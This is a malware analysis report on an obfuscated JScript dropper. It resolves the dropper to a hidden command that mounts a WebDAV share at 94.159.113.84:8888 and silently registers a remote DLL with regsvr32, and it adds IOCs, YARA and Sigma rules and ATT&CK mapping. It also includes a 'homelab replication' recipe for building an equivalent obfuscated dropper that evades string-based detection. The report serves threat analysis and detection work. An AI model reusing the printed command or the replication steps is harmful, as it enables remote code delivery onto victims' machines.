c4670e866e87f9e7ffb02554d931363f2bab26f4b312383276fb2b869e0ac843unclassified-js-webdav-dropper: c4670e86 — 100-entry noise-key dictionary, WebDAV C2 94.159.113.84:8888, payload 22598943117575.dll
Executive Summary
A 255 KB JScript dropper using a 100-entry dictionary lookup-table obfuscation with long random noise keys (15–25 chars) to assemble a WebDAV payload fetch command at runtime. Mounts \\94.159.113.84@8888\davwwwroot\ via net use and silently registers the remote DLL via regsvr32 /s. No sandbox gate, no PowerShell wrapper, no wordpad decoy. Seventy-sixth confirmed sibling in the unclassified-js-webdav-dropper family; second 100-entry dictionary variant observed and first on this C2 IP. Static-only analysis (JScript, not a binary).
What It Is
| Field | Value |
|---|---|
| SHA-256 | c4670e866e87f9e7ffb02554d931363f2bab26f4b312383276fb2b869e0ac843 |
| Filename | 2721211622374329438.js ^[metadata.json] |
| Size | 255,681 bytes ^[file.txt] |
| Type | ASCII text, single line (65536-char segments), no line terminators ^[file.txt] |
| Language | JScript / Windows Script Host ^[strings.txt:1] |
| Family | unclassified-js-webdav-dropper — high-confidence sibling (n=76) |
| Confidence | high — identical execution chain to confirmed siblings |
How It Works
Layer 0 — Dictionary Definition
The entire script is one line. The first ~4,000 characters define a 100-entry object dpnnvyvzadjustment mapping long random noise keys to single ASCII characters (including escape sequences \t, \n, \r, \f, \u000b). ^[strings.txt:1]
Example entries:
dpnnvyvzadjustment['tqauhdbqsuffer']="$"dpnnvyvzadjustment['hmnrbtscolour']="O"dpnnvyvzadjustment['tqtgmfire']="0"
Layer 1 — String Assembly via Dictionary Lookups
After the dictionary, the script contains a heavily nested concatenation of dictionary lookups that assembles the payload string character-by-character. The pattern is:
this[dpnnvyvzadjustment['key1']+dpnnvyvzadjustment['key2']+...](...)
Layer 2 — Execution
The resolved outer function is eval. The resolved argument is:
this[WScript][CreateObject](WScript.Shell)[run](
cmd /c timeout 1&&cmd /c cmd /c net use \\94.159.113.84@8888\davwwwroot\ &&
timeout 1&&cmd /c cmd /c regsvr32 /s \\94.159.113.84@8888\davwwwroot\22598943117575.dll,
0,false);
After execution: this[WScript][Quit](); ^[strings.txt:1]
Key behaviors:
timeout 1delays before each command (anti-sandbox / evasion hedge)net usemounts the WebDAV share without credentialsregsvr32 /ssilently registers the remote DLL (T1218.010)- Window style
0(hidden), waitfalse(non-blocking)
Decompiled Behavior
Not applicable — this is a JScript text file, not a PE binary. No Ghidra/radare2 analysis possible. Static string extraction via strings yields the obfuscated source; the payload is recoverable only by resolving the dictionary lookups. ^[file.txt] ^[rabin2-info.txt]
C2 Infrastructure
| Indicator | Value |
|---|---|
| C2 IP | 94.159.113.84 |
| C2 Port | 8888 |
| Protocol | WebDAV over HTTP (UNC path \\94.159.113.84@8888\davwwwroot\) |
| Payload | 22598943117575.dll |
| Execution | regsvr32 /s \\94.159.113.84@8888\davwwwroot\22598943117575.dll |
| Mount command | net use \\94.159.113.84@8888\davwwwroot\ |
Infrastructure note: This is the same C2 IP (94.159.113.84:8888) used by sibling fbdd83ad (66th sibling, payload 317101471316421.dll), confirming a shared distribution node. ^[entities/unclassified-js-webdav-dropper.md]
Interesting Tidbits
- 100-entry dictionary — ties
fbdd83adfor the largest dictionary observed in this family (prior maximum was 62). ^[entities/unclassified-js-webdav-dropper.md] - No PowerShell wrapper — unlike the
cloudslimit.comanddailywebstats.comsub-clusters, the94.159.113.xsubnet siblings (including this sample) consistently omit the PowerShell-EncodedCommandlayer, reducing chain length and detection surface. - No
wordpaddecoy — the45.9.74.36:8888pure-batch sub-cluster almost always launcheswordpadas a decoy; this JScript variant does not. - No sandbox gate — no
aspnet_compilercheck, no timing loop, no process enumeration. The only anti-analysis is the obfuscation itself. - Key naming style — the 100 keys are random lowercase noise strings (15–25 chars) with no discernible English morphology, placing this sample in the "random noise key" dialect alongside
fbdd83ad,093a56f6,0e45e1b2, etc. ^[techniques/js-dictionary-char-lookup-obfuscation.md] this[eval]construction — uses bracket notation to referenceevalindirectly, avoiding static string matches for the literaleval(pattern.
How To Mess With It (Homelab Replication)
Goal: Reproduce a functionally equivalent JScript WebDAV dropper with dictionary obfuscation.
- Pick a dictionary size — 36, 62, or 100 entries. Larger dictionaries increase file size but do not change runtime behavior.
- Generate noise keys — random lowercase strings, 15–25 characters.
- Map to ASCII — assign one printable character per key.
- Encode your payload — split the command
cmd /c net use \\HOST@PORT\davwwwroot\ && regsvr32 /s \\HOST@PORT\davwwwroot\PAYLOAD.dllinto character-by-character dictionary lookups. - Wrap in
this[...](...)— usethis[eval]as the outer executor. - Add
this[WScript][Quit]()— clean exit. - Test — save as
.jsand execute viawscript.exein a VM with network isolation.
Verification: The resulting .js should have zero meaningful ASCII strings longer than 2 characters in the raw file, and a strings dump should show only dictionary definitions and concatenation operators.
Deployable Signatures
YARA Rule
rule js_webdav_dropper_dict_100 {
meta:
description = "JScript WebDAV dropper with dictionary lookup obfuscation (100-entry variant)"
author = "PacketPursuit"
date = "2026-07-18"
hash = "c4670e866e87f9e7ffb02554d931363f2bab26f4b312383276fb2b869e0ac843"
strings:
$dict_obj = /dpnnvyvzadjustment\[\'/i
$davwwwroot = "davwwwroot" ascii wide
$net_use = "net use" ascii wide
$regsvr32 = "regsvr32 /s" ascii wide
$this_eval = "this[dpnnvyvzadjustment" ascii wide
$timeout = "timeout 1" ascii wide
condition:
filesize > 200KB and filesize < 300KB
and #dict_obj > 90
and $davwwwroot
and $net_use
and $regsvr32
and $this_eval
and $timeout
}
Sigma Rule
title: JScript WebDAV Dropper Execution — Dictionary Variant
description: Detects wscript.exe spawning cmd.exe with net use and regsvr32 arguments pointing to a WebDAV UNC path
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\wscript.exe'
CommandLine|contains|all:
- 'net use'
- 'davwwwroot'
- 'regsvr32'
condition: selection
falsepositives:
- Legitimate IT administration scripts using WebDAV (rare)
level: high
tags:
- attack.execution
- attack.t1059.005
- attack.t1218.010
- attack.t1105
IOC List
| Type | Value |
|---|---|
| SHA-256 | c4670e866e87f9e7ffb02554d931363f2bab26f4b312383276fb2b869e0ac843 |
| Filename | 2721211622374329438.js |
| C2 IP | 94.159.113.84 |
| C2 Port | 8888 |
| Payload | 22598943117575.dll |
| Mutex / Marker | None observed |
| Registry | None observed |
| Scheduled Task | None observed |
Behavioral Fingerprint Statement
This JScript dropper defines a large object (90–100 entries) mapping random noise keys to single ASCII characters, then assembles a hidden command at runtime via bracket-notation this[eval]. The resolved command spawns cmd.exe with timeout 1 delays, mounts a WebDAV share via net use \\94.159.113.84@8888\davwwwroot\, and silently registers a remote DLL via regsvr32 /s. No sandbox gate, no PowerShell wrapper, no persistence mechanism. The file is a single line of obfuscated JavaScript, 255–260 KB, with no meaningful plaintext strings in the raw source.
Detection Signatures
| ATT&CK Technique | Evidence | Confidence |
|---|---|---|
| T1059.005 (Visual Basic / JScript) | WScript.Shell spawned via this[eval] |
high |
| T1059.003 (Windows Command Shell) | cmd /c timeout 1 && cmd /c net use ... |
high |
| T1218.010 (Regsvr32) | regsvr32 /s \\...\davwwwroot\22598943117575.dll |
high |
| T1071.001 (Web Protocols) | WebDAV over HTTP via UNC path | high |
| T1105 (Ingress Tool Transfer) | Remote DLL fetched and loaded without disk write | high |
| T1027 (Obfuscated Files or Information) | 100-entry dictionary lookup-table obfuscation | high |
| T1036.005 (Match Legitimate Name or Location) | regsvr32 is a signed system binary |
medium |
References
- unclassified-js-webdav-dropper — entity page for the family
- js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
- webdav-regsvr32-dll-sideloading — technique page for the execution chain
- Sibling
fbdd83ad— first 100-entry dictionary variant, same C2 IP, different payload ^[/intel/analyses/fbdd83ad649b5e90df9910f67eee3db9502bf63ccc0b958c10d8ade1d839d2f8.html]
Provenance
file.txt—fileutility v5.44, ASCII text, no line terminators ^[file.txt]strings.txt— GNUstringsdefault mode, full 255 KB output ^[strings.txt:1]exiftool.json— ExifTool v12.76, TXT, MIMEEncoding us-ascii ^[exiftool.json]rabin2-info.txt— radare2 v5.9.4, binsz 255681, bits 0 (not a PE) ^[rabin2-info.txt]metadata.json— OpenCTI artifact ingestion metadata ^[metadata.json]triage.json— triage-fast v1.0, tier=deep, no family attribution ^[triage.json]- Manual deobfuscation via Python regex substitution (iterative dictionary resolution) — converged in 2 layers to plaintext payload.